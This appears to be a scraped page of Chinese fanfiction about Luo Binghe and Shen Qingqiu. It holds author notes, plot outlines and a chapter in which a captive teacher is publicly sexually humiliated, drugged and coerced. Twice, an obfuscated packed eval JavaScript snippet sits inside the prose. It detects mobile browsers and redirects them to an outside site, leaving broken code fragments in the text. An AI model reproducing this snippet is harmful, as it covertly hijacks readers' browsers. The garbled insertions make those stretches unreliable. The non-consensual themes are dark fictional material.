结果在开废料的时候,歪了至少三四次。一开始以为是场面、文笔、人设的问题。后面发现,只是单纯的—— 我不愿虐九。 我笔下的九也不愿意平白无故成为废料主角后、憋屈死亡。 我笔下的冰更是不愿无缘无故就毁灭世界、发疯失控,再经历一系列的折磨与报复后,用满身的寒冷去抱紧已经被生活打压后又被他搞的遍体鳞伤的九。 他们只是连设定都没有补全的纸片人。 却在我的记忆中、我的思绪里、我的感情倾注下,一点点长出血肉,拒绝一开始的纯恶心剧情。 那么。没有那些来源于冰哥的恶意折辱,沈清秋没有被折断傲骨。凭什么要将尊严丢在洛冰河的脚底下任其狠狠践踏,又为什么要接受来自罪魁祸首的、灭世魔头的,一点点善意后,忽略掉所有异常,去与对方携手? 难。很难。 朋友说如果他写,九会直接自杀。我告诉他,如果是其他的,已经杀了不知道多少次了。(嗯。我的冰九合集里,大部分是互杀结尾。) 好的现在不考虑那个,冰哥设定为横穿无数时间线后,发现了对九的感情,然后开始想方设法获得九的爱。 可这个时候的沈清秋,由于岳七死亡、苍穹被灭、修真界颠覆、生灵涂炭,灵魂沉寂许久。 九的心结在于,他培养了一个灭世魔头。并且这个魔头,先是被沈清秋的恶意滋养,又在暴露血脉时没被提前杀死,最后竟毁灭世界。 养不教、父之过,教不严、师之惰。即便九不承认冰,可他也没办法心安理得的放任自己当成看不见。最后的成王者冰可以不在乎生灵涂炭,教出魔头的九却没办法坐视不管,九将冰灭世的罪过堆积自己身上,只好也只能以死谢罪。 讲到这里,情况其实很简单——已经动心的冰,和背负灭世罪过、灵魂沉寂的九。 这时候的九尚不能舍弃为其他幸存者自尊,也没办法因为生存本能而放任自流、苟且偷生。 所以冰的任何筹码,都是虚幻。 那些人没办法威胁九,九也不会因想活命而服软。武力惩罚——狂傲线里,九成为眼不能看、耳不能听、口不能言、四肢皆无的人彘都不曾屈服,更何况已经动心、不舍得伤害九的冰呢? 冰如何让九存活? 如何让自弃自厌深重、打算以死谢罪的灵魂停留? 简直难到无解。 我一开始的想法,是与〈以身饲魔〉的‘恨意支撑’有关。 冰将九对自己的厌弃,转化为对洛冰河的憎恨,以仇恨为食,在世间重新建立锚点。 这就需要冰先下狠手虐九,激发对方的恨意。同时拿捏好尺度,避免已经虚弱破损的灵魂直接魂飞魄散。 而这个折辱,就是我准备并且贼认真开的废料。 只是这些角色在脑海中已经形成了自我意识,单纯以折辱为由的废料,林林洒洒写了一万字剧情。 为了将内容纠正过来,我一方面看颜色文,一方面看〈锁清秋〉,又认真研究〈惩罚游戏〉,打算将剧情修正回去。 只是—— 当人设已经足够圆满,身影已经占据了大部分脑海时,这些东西,并不能影响我本心的发挥。 我笔下的洛冰河越发欣赏沈清秋,而我笔下的沈清秋,越发抗拒以纯折辱为底色的‘存活’。 所以我莫名其妙写出来—— ‘洛冰河,你没吃饭吗?’‘沈清秋,你在刻意激怒我,就是为了寻死?’‘养出你这样灭世魔头,我难道不该死?力气大些,撕碎我’ ‘师尊,侠之大者,为国为家。’‘我的妄想从小被人耻笑,最终还是零落成泥’‘所以当我将您压在地牢时,您不是为自己而悲,是为天下而痛’ ‘师尊,您亲一下弟子,弟子替您推行大道为公’‘为何?’‘为众人抱薪者、不可使其毙于风雪’ ‘天道为他设立了恶毒人设,他凭本心桃李天下’‘是天道在洛冰河脑海中植入〈沈清秋极为恶劣〉,又在沈清秋脑海中写下〈洛冰河令人看起来就反感〉’ ‘洛冰河,你可以百般刁难或折腾与我,但你是天下的君父,不可肆意挥霍臣民’‘本尊主给你一个上奏的机会,沈爱卿,可愿继任国师?’ ‘沈清秋,你为所有人着想,却为何不替自己考虑?’‘事实胜于雄辩,既定的事实和成见,无法撼动’‘弟子爬上至尊位,以霸道镇压,谁敢胡言乱语?’‘君子当行仁道,社稷重而君王轻’ 本身。 我只是打算开个废料,然后写一下大家打怪升级的戏码来着。 哎。仙侠、武侠,侠之一字,为黎民苍生谋福祉,为江山社稷定人心。 食天下之供奉,为苍生而请命。为世间不平事而拔剑、为璀璨星光而感慨,居九州之巅而除魔卫道、处泥坑深渊而艰难求存。 这立意一下子就飘到我完全把控不住的局面了啊。 哎。 大纲彻底全崩,开头5w都跑天上了,后续要么直接断,要么推翻重来。 而且最重要的是,按照这个路线,完完全全是废料里面套剧情,或者剧情里面堆废料。 毕竟冰能走的路就是先武力压九,将九的恨意激发出来后两人聊天。九一旦流露自弃倾向,冰立刻用床事手段将人拉回现实。 虽然我写废料很清水,但是有些也算是违禁词、画面蛮成年专属的。 被反复屏的几率很大啊。 40.小虐怡情 开文原因 大纲&脑洞 写在前面的话。 首先,这篇开文纯是看完颜色废料之后,满心激动,想开又不能开(想磕、但不敢放肆、怕出问题)。所以反复思考词汇尺度之后,写出来的一篇可以说是自娱自乐的、半废料。 众所周知,磕CP、看同人,很少有不带颜色的。磕〈冰九〉的,也很少不涉及‘强制爱’‘不服就干’‘上去就是干’的。 所以渣写手自从看了某篇颜色废料后,实在是心神激动、手头发痒,最后耐不住脑海的设想,把能记录的写一下。 ———— 背景及预设主线: 如果洛冰河被打被骂,全是沈清秋与洛冰河布下的假象,目的是为了迷惑魔族至尊,夺取魔尊之位。 而其中,计划出了些许差错,沈清秋被掳,沦为俘虏。魔尊用曾经的尊师来试探洛冰河,看他对修真界和魔界什么心思。 洛冰河自爆,要求魔尊将‘这个一直打骂自己的小人’赏赐给自己,当成床奴养。 魔尊应许,却开启传影阵,要求洛冰河于全世界上演极具羞辱性质的活.春.宫。 洛冰河压下沈清秋的反抗,(打斗会描写一下、和谐部分能写就放彩蛋,不能就删掉)完事之后将人带回自己宫殿,被撵出房门。 洛冰河心里念着尊师重道,实际却干了不该干的事情。表面对沈清秋愧疚又惴惴不安,内心却觉得一定要将对方握在手心。 洛冰河通过一系列手段试探,沈清秋除了自己的研究(如何离开魔界、如何毁灭魔族),完全不做应声。 洛冰河下药。沈清秋中毒后将洛冰河当成解毒之人,却在发现对方是男子后,忍不住骨子里的厌恶,将人丢出去。 洛冰河愤怒,杀魔尊,成就魔族至尊位。 洛冰河施展梦魇,再次下药。沈清秋以为洛冰河是女子,将其压下,打算用完就杀。洛冰河发现这家伙压根不可能产生‘感情’,满心只有利用,开始怀疑自己。 洛冰河质疑沈清秋之前对自己的好,沈清秋莫名其妙:“你自己同意的计划,我只是友情出场几次,怎得却成了你心底的坚守?” 洛冰河心理扭曲,敢情他所有的纠结、期待、窃喜、愤怒,都是一厢情愿? 双方互打。沈清秋落败。 洛冰河拿出魔尊该有的态度和冷酷,打算折磨沈清秋。沈清秋:“畜牲就是畜生,流着魔族的血,果然不堪大任。” 洛冰河觉得沈清秋毁了自己,虽然他是半魔,但本可以在苍穹山当个外门弟子; 沈清秋觉得洛冰河从根子就是恶的,当初参与计划,也无非是想要修真界的资源和支持,现在当上魔尊,还不是要为非作歹? 双方互相怨恨对方,死都要拽着对方下水,坚决不允许对方‘逃脱这摊烂泥’。 “你我皆是恶人,身处淤泥沼泽。既然不是白莲,就别指望不染污秽。” ———— ———— 这个背景是仿照的原文的开篇,开头肉香肆意,剧情也很有趣。 原文的弟子叫“程久”,师尊叫“霜迟”,名字是“被.迫.当.众...师.尊.之.后” 原文的描写极为精细带感,是难得的好粮。只是纯肉难免会吃的有些腻味,全程各种ccc 哪怕是换地图、换工具也是ccc,看着难免无聊,所以渣写手大概只看了三分之一的样子。 从目录上看,原文后期存在‘夺舍’‘3p’‘言语辱骂’‘打压精神’等元素,想去看的避讳一下雷点。 在攻杀死魔尊、成就魔族第一的时候,攻的灵魂貌似被夺舍,受精神上抵抗,具体情况却‘抵抗不了’。 这一场本该双人一起坠落玉海的故事,成了单纯的对受的压迫,所有因荷尔蒙导致的激动,都转变成了困惑和不解、愤怒: 受做错了什么,要被这样凌辱和欺压? 就像是渣写手看了很多冰九文,一直搞不懂沈清秋做错了什么,要被冰哥压了又压,打了又打,凌辱责骂、各种刑罚。 杀人不过头点地,磕CP如果不是双方一起‘拉扯着堕落’,这种纯粹以上位者‘赐予’的欺压,很难不让人生出逆反、暴虐之心。 如果有人去看的话,对双洁有要求的注意这个点,是有些难以接受的。 ———— 模仿一下,侵权请留言,看到会立刻删 ———— ———— 第一:当众折辱,洛冰河与沈九绑在一条线上 第二:洛冰河确认自己心意,要将沈清秋握在手心 第三:洛冰河通过日常细节,打开对方心扉,与沈九温馨日常 第四:洛冰河想更进一步,下药,双方互打。洛冰河气急离开,喝酒买醉。 ———— 第五:沈九X狂傲冰哥 沈九魂穿狂傲中后期,洛冰河展示魔尊身份,开始合并两界 冰哥发现沈九心态转变,居然会向自己下意识表示脆弱,寻求帮忙 觉得这家伙终于学会服软了,打算伪装几天,最后将人狠狠打压。 被发现。 沈九:你不是他。 冰哥:那我的好‘师尊’,您希望我是谁呢?难道当年我还有同胞兄弟存活? 开互打互杀线。 ———— 第六:洛冰河X狂傲九 洛冰河:我的好师尊,您这又是怎么了,一身尖刺不说,嘴比之前更毒了。 狂傲九:别耍什么花样,不服就战。 洛冰河:我哪敢跟您耍花样啊,您生气了、生病了,还不是弟子给您帮前忙后? —— 狂傲九:我不是他。 洛冰河:对对对,您不是。可您也是我师尊,您就当弟子野心勃勃,想享齐人之福。 狂傲九:你倒是直白。 洛冰河:您在我面前,弟子又花了那么多的精力,您便是当满足弟子不切实际的愿望,别再闹腾了。 狂傲九:呵。花言巧语。 洛冰河:您是我的,所以我要将您好好养着,捧着。 狂傲九:我是你的? 洛冰河:您是我的。永远是我的。 狂傲九:不怕我弄死你? 洛冰河:您是我的,我亦是您的,您要弟子死,弟子不敢不从。 —— 洛冰河、递上焕颜丹:您不喜欢弟子长大的模样,弟子就永远年轻。您厌恶年长的自己,也请您陪弟子恢复青春年少。 狂傲九:我…… 洛冰河、叹口气:您少年的遗憾,是那个从不曾道歉,也不曾真正解释之人? 狂傲九:不…… 洛冰河:那弟子书信一封,写您深陷困境,再以死牢之人的鲜血侵染,您与弟子苍穹走一趟? 狂傲九:眼神躲闪。 洛冰河:弟子再令梦魇布下困阵,您与弟子一同观看曾经,再现对方的选择。 狂傲九:…… 所以,这样赤诚之心,才是‘自己’接纳对方的原因吧。 ———— 第七:结局开打 沈清秋手中握着修雅剑,与冰哥对打。 狂傲九:三七、天泉。 沈清秋虽未回话,却轻飘飘的看了一眼年少版的自己,眼皮略压,权当点头。 接着手中灵力变换,以灵力将天魔血压出三成后灌入修雅之中。原本清翠的剑身,因天魔血而附上一层黑气,却又在灵力的加成下,血迹四溢,刻出繁复的花纹。 洛冰河:你不去帮忙?那是你弟子。 狂傲九:我可从没承认过。 洛冰河:那您是说…… 狂傲九:…… 够了,别总是莫名其妙的确定这种东西好嘛? 沈清秋将冰哥压下,略看洛冰河一眼。洛冰河果断上前,抽取冰哥的生命本源。 唯有自己才能对付自己。 所以狂傲冰哥,也只有同一个本源的洛冰河才能真正压制毁灭。 —— 沈清秋看着狂傲九:确定? 狂傲九:当然是看遍世界,四处流浪。 沈清秋:那个狗皮膏药? 狂傲九:想跟就让他跟。 —— 狂傲九:这次想研究什么。 沈清秋:空间虫洞,时空裂缝? 狂傲九:你弟子的拿手好戏? 沈清秋:那是你弟子。 狂傲九:他可是说过要享‘齐人之福’的。 沈清秋:他倒是敢想。 狂傲九:不如让他放个血? 沈清秋:半魔的血已太多,倒是那把剑。 狂傲九:他的气运倒是极好。 沈清秋:你这话……倒不像夸奖。 狂傲九:比不得你幸运。 沈清秋:我替你打回来了。 狂傲九:…… 丫的,这两个人怎么都这种风格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243703|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这话说的人……怪不好意思的。 —————— —————— 一些碎碎念 这篇文原本打算写长的……真的。不管是大纲、细纲(应该算细了吧)、后续、人设都设想了很久(而且是能单独写出来,不是只存于脑子的那种) 只是,写不了就是写不了,这个应该和底层逻辑、写作能力、文学素养有关。 ———— 一开始是想仿废料和排行榜(毕竟冰九的排行榜里,那个不沾点颜色?不强制爱不冰九嘛) 只是磕归磕,写归写。 要么剧情歪成冰弥补九,要么结局歪成九砍了冰…… 像极了吐槽:‘太土了吧’‘太狗血了吧’‘太火葬场、恋爱脑了吧’‘太尴尬了吧’ 但是人家好歹真的写出来,并且引人入胜不说,还将人迷得死死的…… 只能说,有些东西,就是不同的。 ——— 一开始的文案和大纲都蛮‘正统’: 你我皆是恶人,身处淤泥沼泽。既然不是白莲,就别指望不染污秽。 只是后面莫名其妙走了没记忆的‘救赎’:警惕敏感九X伪装白花冰 接着……发现自己真的写不出来爱恨交织的剧情(小说:给我往死里虐!现实:劳资缺你一个男人?给劳资死!) 开始怀疑自己——(我是不是不适合写文?) 没事这个不重要,毕竟当代年轻人贼喜欢逃避,不写就是了。 但是毕竟又做了那么多构想,舍不得呀——没错就是舍不得,毕竟我有两个小可爱跟我留言呢~我真的贼开心的! (即便这两位可能一天会刷n多的文,留n多的言,但是我有读者,不再是那种冰冷的‘朕已阅’,还不够吗?!!) 啊,想了好久。甭管是ooc也好,还是披着人设的借梗也罢。 同人本就万千可能,数万种发展。排行榜只能代表大众和大佬的能力,不代表所有(反正小透明没人骂,就当成还算合人设吧,哈哈) 话说,究竟是先出现哪一种风格后成就了排行榜,还是大佬先写出某篇文之后,其他人的‘模仿’才令冰九CP固定的风格呢。 算了,甭管那个,都是大佬的事情——身为看文的,只要默默为大佬喊666就行。 最后—— 为热爱和兴趣付出时间精力,即便最后一事无成,也是快乐的。 写长篇太难了,短篇和脑洞比较简单,啥时候有能力了努力更一下(毕竟人的本质就是躺平,哪里摔倒就哪里趴下) ———— 这篇文中,沈清秋与洛冰河的‘和平共处’,源于两点。 沈清秋需要‘洛冰河为他找资源’,洛冰河打算‘伪装小白花撬开沈清秋’心防。 所以甭管两人内心如何的波涛汹涌,表面上却是风平浪静、一派祥和。 他们是如此的‘般配’。一样的不是好人,一样的深沉谋划却面容沉静,一样的微笑之中满是警惕与试探,一样的想要占据心理高位支配对方。 如果说不服输的对抗和对谁都不信任是沈清秋的底色,那么明晃晃的占有欲和不满意就强压便是洛冰河的疯癫。 沈清秋曾将希冀寄托于人,得到的是被抛弃。所以他收起信任,不再信任何人。 洛冰河曾将少年炽热的尊崇与仰慕献出,结果却被沈清秋忽略得彻底。所以他要证明自己,让沈清秋知道他的‘优秀’不该被浪费。 ———— ——碎碎念—— 我真的是写不来冰九。完全拿捏不准〈冰九〉的爽点。虽然看得时候兴高采烈、满心欢喜,但这不代表我能写出来…… 尤其是,身为九控,不可能给九安排必死的绝路。 最后‘委屈’的,必然是洛冰河。 或许……我该去写个all九或者九冰。 这篇文目前就这样吧。立意和故事也讲得差不多了,后面说不定一不小心又是互杀……(所以为什么我写的最后都是互杀) 连写几篇都是互杀我真的要写累了…… ———— 写得很好呀!冰九的一种相处模式就是这样。九作为一代宗师,聪明果敢,铁骨铮铮,是不会放弃任何杀死冰的机会的! 英雄所见略同,大概这就是我写不出来冰九的原因()我总是到最后会让九砍杀冰…… 冰的所作所为,九不砍他九就不是九了! 41.说些好话来欺骗,是令人不齿的 背景: 如果洛冰河被打被骂,全是沈清秋与洛冰河布下的假象,目的是为了迷惑魔族至尊,夺取魔尊之位。 而其中,计划出了些许差错,沈清秋被掳,沦为俘虏。 洛冰河自爆,要求魔尊将‘这个一直打骂自己的小人’赏赐给自己,当成床奴养。 ——正文—— 当浑身是血的修真者被丢在洛冰河面前的时候,他并没有太多感想。仙魔不两立,当他‘跌入’无尽深渊的时候,就不可能与修真界有什么联系。 既如此,进入修真界的修真者,甭管是自愿还是被掳,所有丢到他面前的,都是战败者。 只是,人魔混血总归不如纯血,他也是付出不少努力,才在魔尊的眼里有了那么几分的‘重要’。 “冰河。”高坐首位的魔尊扫了俘虏一眼,眼中满是带着恶意的打量:“听说你在修真界的时候,日子过得很苦啊。” “是。”洛冰河拱手: “未曾遇到良师益友,平日里非打即骂不说,还被丢入深渊毁尸灭迹。” “若非您相救,小子早就死在了深渊幽魂之中,哪里能有今日光鲜?” 魔尊对洛冰河的恭维满意不已,眼角再次瞄一眼地上的血人,饶有兴趣的问询: “那若是,打骂你的‘师尊’出现于你面前,你当如何?” 洛冰河先是心里一呲:‘就凭掌门师伯的照看和师尊本身的实力,这个假设根本不可能存在’ 接着做出放荡不羁的愤恨来:“若是这等小人出现于我面前,我必要将他狠狠责打一通,再将他的手脚全部打断,用他的头颅来盛酒喝。” “哈哈哈哈!”魔尊大笑:“有仇必报,干脆利落,不愧是我魔界的种!” 这便是当众承认洛冰河的血脉,令他不必再因‘人魔混血的杂种’而被人暗讽了。 洛冰河当即半跪于地:“谢魔尊夸奖,小子必为魔族鞠躬尽瘁、死而后已!” 魔尊令人寻一盆水来,浇于下方俘虏身上。 春日的风不算太凉,可春寒料峭,冷到透骨的浑水将地上的血团子激醒,对方手腕微动,却发不出任何灵力攻击。 “昔日的沈仙尊,现在的阶下囚。” 魔尊嘴角含着残忍的笑容,眼睛却紧紧盯着半跪于地、始终不曾有动作的洛冰河:“冰河啊,你说是将他丢入万毒窟喂虫,还是扔到风栏院?” 万毒窟有无数虫蛇,活人丢下去后不出一时半刻便会被掩埋。一天之后,便是连骨头渣子都找不到。 风栏院是著名的消金窟,手段无数。便是再贞洁硬朗的人扔进去,也会成为风情万种的娇媚头牌。 看魔尊的架势,即便是要扔到万毒窟,也是‘尸体’之后的事——而之前,很难说会经历什么样的折磨。 “小子大胆,请魔尊将此人赏赐于我!”洛冰河看眼被水流冲刷后露出的脸,紧紧闭了下眼皮,抬头看向高台上的魔。 魔尊不可能会轻易放过沈清秋。不仅是因为沈清秋杀过太多魔族、是修真界正道巅锋之一,更因为他要用对方试探自己。 一个身上流着一半修真界血的魔族;一个在修真界生活了十几年的魔族;一个被救起来后,完全不掩饰野心,想要获得‘魔族至尊’之位的人魔混血。 试探,是绝对的。 魔族如何确保他对修真界的绝对对立? 犯上。 杀师。 辱尊。 只要他身上有着绝对无法清洗的污点,修真界,就容他不得。 而不被修真界所容的魔族。 自然是,用起来很‘放心’的。 “哦?”魔尊手抵在下巴上,蛮有趣味的看着少年:“你要他作何?” 接着眼神阴暗的扫了周遭一眼,语气轻快: “一剑杀之?” “不!”洛冰河脸上浮起被人欺压的恼怒和小人得志的猖狂,恶狠狠道: “我已经在魔界证明了自身实力,是这个恶毒小人有眼不识珠。既如此,我便要好好折辱他,令他知道自己错过了什么!” “好好好。”魔尊拍拍手: “听闻修真界最为尊师重道,而我魔界却从不在乎这等鸟规矩。他们一个个装的端庄风雅,暗地里的心思,却还不是腐烂不堪?” “既如此,冰河且与我们演示一番,以证‘清白’如何?” “……”洛冰河看着周围已悄然围起的人群和隐约拉开的弓箭,还有魔尊不知是一时兴起还是早有准备,所打开的……传影石。 对方这是要将他钉死在羞辱柱上,绝了他投靠修真界的心。 若是他不‘做’,性命就可以交代在这里了。 他的心里一下掀起滔天巨浪,冷硬如铁的心第一次产生破绽。 他做过不少恶事,为了获得魔尊信赖早已手染鲜血。 可这些里,绝对不包括对自己师尊不敬! 旁人以为他对自己从来不假辞色、动宥打骂,资源与教导上,更是几乎没有。 但他们不知道的是,这本就是针对魔族所设下的陷阱。 魔族狡诈多疑、心狠手辣。即便是同族之人,也能随意打杀炼化。一个人魔混血,很难入魔尊的眼。 但若叠加‘在修真界受到欺辱后转身坠魔,并被魔族救下,对魔界极为死忠’这个前提条件。 洛冰河,才算是真正拥有了入魔尊之眼的资本。 若魔尊是正道之人布下的棋子,修真界与魔界,还需要平衡、对战吗? 不战而屈人之兵,方为上策。 只是—— 为何沈清秋会被魔尊所掳,还被丢到自己面前,要在全世界的面前,进行春.宫表演? ———— ———— “师尊。” 洛冰河小心翼翼的将怀中人放到由柔软兔毛制成的毯子上,备好洗漱用品,用魔力将水池的温度调到合适的温度。 “滚!” 怀中人早在之前便已醒来,当他睁开眼睛时,先是迷茫的扫了一眼环境,丝毫不顾及未穿衣物,径自推开压在身后的洛冰河,决绝的咬开手指,就要施展禁术与周遭众人同归于尽。 一介仙尊,即便沦落到被人压的地步,在醒来的第一时间,也不会是慌里慌张的寻找遮身之物。 刺身络体很可怕,挑战羞耻心也很令人脸红羞涩。 但如果身处敌营,眼前所见全是希望看你笑话、听你哀嚎求饶的对立者。 甭管情感上如何羞耻尴尬,理智和本能上,都会第一时间将敌人打死,将所有‘知情人’全部杀死。 这样做有两个好处。 第一,所有人都死去,除了沈清秋的记忆外,此事不会有人知道。 第二,即便是被传出去,雷霆手段之下,也无人敢讨论。 “听说某位仙尊曾被人所虏,大庭广众之下....” “嘘——你不要命了,当场所有人全死了,你敢拔老虎胡须?” 只是—— 想法很丰满,现实很骨感。 沈清秋即便是动用禁术,也敌不过魔族早有准备。 外无强枪利器,内无护身灵力,仅仅依靠爆种的血脉禁忌之力,实在太难打了。 沈清秋只有一个人,还是在被绑的当刻,就被废除灵力,喂上各种毒药,遭受各种刑罚。 魔族,却有一整个魔界的炮灰。 尤其是,此地,乃是魔界最核心的魔宫,是集整个魔界高端力量的层层封锁之地。 沈清秋理所应当的失败了。 还在整个修真界的见证下,拼尽全力,被镇压,压倒于曾经备受打骂的弟子身下。 —— “师尊,弟子先出去,有事您喊我。” 洛冰河眼皮垂得低低的,脸上是恨不得自裁的愧疚和心底深处被满足的隐秘情感。 他正对着沈清秋一步步后退,然后轻轻的带上房门。 门内传来重物跌倒在地的声音,接着是水流溢出于地面的滴答声,轻微的抽气喘息声。 里面是他的师尊。 是曾经的正道领头之一。 现在,是魔尊赐给他的床奴。 为了彻底绝掉对方返回修真界的可能,他的体内留有不少魔界专有的毒药,还有最重要的——能控制对方的,天魔血。 纯种魔族之一的天魔族,独属于他们的血液,可以让饮下的人心甘情愿的臣服。 当然,就算是不能心理上,躯体上的控制,如何不算‘服从’? 洛冰河体内有一半的天魔血液。 只是,想与从小在魔界长大,纯种血脉的魔族相比。 完全没办法通过以毒攻毒,再加一层血液来压制对方。 沈清秋出不去魔界,魔尊也不可能放任修真界的一大战力返回战场。 甚至说,他希望通过折辱沈清秋,来打击修真界的气焰。 洛冰河虽然是修真界的棋子,早早参与苍穹山的布局。 可权势动人心啊。 一方是正道第一大派的峰主位,一方是魔族至尊位。 若说他之前的信念,是不能辜负师尊对自己的提拔与照顾。 可师尊已经败北,踩入魔族的陷阱无法脱身。 甚至可以说,若不是洛冰河的‘相救’,对方早就陷入万劫不复的烟花巷。 洛冰河想要的,魔族已经全然满足,他为什么还要为修真界‘潜伏’呢? 而且,当他真的成为魔尊,又为什么要听修真界的‘传话’呢? 他已登上至尊位,却要听修真界的言论,这不是很可笑吗?! “嘶——” 抽泣声传来,伴随着衣料摩擦的声音。 沈清秋已清洗干净,并在穿衣服了。 洛冰河透过门缝,可以清楚的观察到对方鞭痕遍布、满是淤青的后背。鞭痕是魔族所打,淤青和掐痕,却是源于自己。 对方的腿很修长,不似体修的肌肉块,更像是文人的精致白皙。 其皮肤,曾被自己反复触摸把玩,一次次压下对方尝试抬起猛踹的膝盖。 再向上,是被衣物层层遮掩的腰腹和屁股。 这些隐秘禁忌之地,身为弟子的他,却在大庭广众之下,用一副凶狠、爆裂的神情,狠狠的捏着、掐着、穿透过。 对方的谩骂犹在耳边。即便是痛极也不会求饶。 当然,即便是愉悦,也不可能发出。 那种情景下,即便是洛冰河有心让对方舒服些,也不可能让师尊露出不该的神情。 所以。 沈清秋的感觉不会太好。 只有无尽的痛和疼,以及自尊被踩在地上,任人观看取乐的羞愤。 一直抵抗与痛苦,总比因身体本能而不得不同流合污要强太多。 如果沈清秋当真在众人面前露出‘兴奋’或者‘快.感’,恐怕现在就不是推开弟子独自沐浴,而是干脆自杀或大家一起死。 ———— “师尊。” 洛冰河跪在下首,低着头汇报情况。 他潜伏于魔界已有五年之久,现在是魔尊最重视的魔子之一,除去他之外,只有魔尊的亲生女儿纱华铃可与自己一教高下。 当然,纱圣女不止一次的曾表态,如果洛冰河愿意,随时可以携手共进,同享魔界。 魔尊——自然也是对此很期待。 所以说,洛冰河现在已是一人之下,随时可以登位魔尊。 若是修真界给点力,时常发些若有若无的信息来维系他们之间脆弱的联系,洛冰河说不定还能安心潜伏于魔界,牢牢记着自己苍穹山弟子的身份。 可惜,当洛冰河进入无尽深渊之后,修真界也好,苍穹山也罢,从未发出过一言半语。 洛冰河魔界险些死去的时候,修真界的其他探子,也从没出现过。 这实在是,令人寒心啊。 当我需要你们的时候,你们都装死。 现在我不需要你们了,却想让我这个‘魔尊’听你们的话,不要在引发两界战争? 是的。 在洛冰河当众镇压沈清秋之后,魔尊已表明态度: 只要纱华铃与洛冰河完婚,他即刻退位。 而令洛冰河迟疑不决的唯一原因,大概就是屋内躺着的,沈清秋了。 这个明面上责打,实际上却会在夜晚小心翼翼帮他疗伤,一点一滴替他解答疑惑的师尊。 这个跌入魔界,归属于洛冰河的、几乎没有逃出可能性的仙尊。 这个本该高高在上的景仰着、抬头仰望其光芒的仙人。 现在,却手无缚鸡之力的,居住在属于洛冰河的屋子,占据洛冰河平日里用来打坐的床铺,甚至狠心将原主人关在门外。 这怎么可以呢? 他是阶下囚,是俘虏。 是,他的床奴。 若非洛冰河站出来,他早就一点朱唇万人尝,一双玉璧千人枕。 怎么会有再使用禁术的机会? 他是他的。 必须是他的。 只能是他的。 洛冰河的视线一点点染上狂热,又一点点的被压下。 他要等,要隐忍。 他要猎物主动走入他的怀抱。 他要对方心甘情愿脱下衣衫。 他要将这个人从身到心占有。 而在此之前。 他愿意出演一个在敌军潜伏已久,渴望长辈关怀的,天真、深情弟子。 ———— 想要征服一个上位者,要么让他心生怜悯,主动低下头来对你投注目光;要么用比他更强的武力将其打压入泥土,再高傲的勾起他的下巴,令他仰望于你。 洛冰河之前对沈清秋并没有太多想法。 毕竟‘尊师重道’,是写在伦理道德、骨子底线上的。 可,少年倾慕。哪位学生不会羡慕学富五车、实力强劲的老师;不会被谈笑风生、轻松惬意的成熟长辈所吸引? 这种隐秘的情感,一般会被‘压抑(划掉)’修正成‘对未来自己的期盼’: 我的目标,就是成为尊师这样的人! 这,是才是符合儒家思想的正统流程。 只是吧。事情总是会发生一些偏差。 比如说……如果你少年时期曾向往过的人,真真切切的出现在你身边。触手可得的同时,还有着可能更进一步的机率。 谁能忍住心底的悸动,不蠢蠢欲动? 只是这种苗头,一般没有燃起的机会。 那杯敬师茶,本该是少年满怀期待的献上,被尊师温和的接过、赠予属于内门弟子的信物与灵丹。 可惜。少年的眼中却出现了不该有的东西。继而被滚烫的茶水,迎头浇下。 那个修真界针对于魔界的计划,是洛冰河主动接下,甚至积极配合的。他的身份尴尬,半人半魔,意味着会被魔族排斥的同时,修真界也不会拿正眼看他。 参与计划,虽然明面上会被仙人狠狠打压,私底下却会得到属于对方的找补。即便这些补偿……无法暴露于人前。 可所有的一切情感起源,不正是‘独属于我’和‘不属于我’吗? 白天,清静峰的一切恶意满满; 夜晚,身为清静峰最高统治者,却会主动出现在他面前,替他指点迷津。 沈清秋不会温声细语,也不可能手把手指点。完不成他的要求,对方只会怀疑你能不能做好‘内应’,其他人怎么会挑选这样的蠢材。 而洛冰河能做的,唯有努力些,再认真些。尽可能获得对方的认可,完成看起来极为苛刻的条件,以期待,对方的一句‘还不错’。 甚至于,刚到魔界的时候,他的心底也存在几丝期待:对方会如何看待我,会不会因为我完成这样的‘壮举’而满意? 可惜。 他不仅没收到过修真界的传信,也不曾……听说过对方关于自己的,只言片语。 所有有关对方的传言中,唯有高高在上的清冷孤傲,除此之外,便是眼中不容人、处处与其他人闹矛盾。 明明身居正道第一大苍穹山,却在被掳魔界之后,连几个像样的进攻都不曾有。 虽然修真界穿越魔界是送死,但是你们连几个替死鬼炮灰都舍不得送。沈清秋这个仙尊,未免也太不值钱了些。 尤其是,魔尊开启传影阵法的目的,不就是借沈清秋打击修真界?活.春.宫都满世界直播了,苍穹山却像是闭上了眼睛、捂住了耳朵,连半个屁都不放。 这个曾经的正道战力之一,最终彻底沦为弃子。 洛冰河将手心收紧,压住越跳越快的心脏。努力压制从心底深处传来的、越来越控制不住的暴躁和疯狂。 对方既然是‘弃子’。 就该有‘阶下囚’的自觉。 野猫当然可以伤人。 可若是被人关住,就要学会收起爪子。 乖巧的喵喵叫上两声,才能换来主人的怜爱。 ——— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250471|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' — ———— 沈清秋是个标准男频仙尊。 为什么这么说呢。 因为…… 洛冰河每天都将自己搞的遍体鳞伤、可怜兮兮的,也不曾见到对方主动问询一声。 甭管是一开始的‘无意间’露出受伤手腕,还是刻意冷抽气暗示自己受伤,亦或是干脆一身血气、满身破破烂烂的衣衫…… 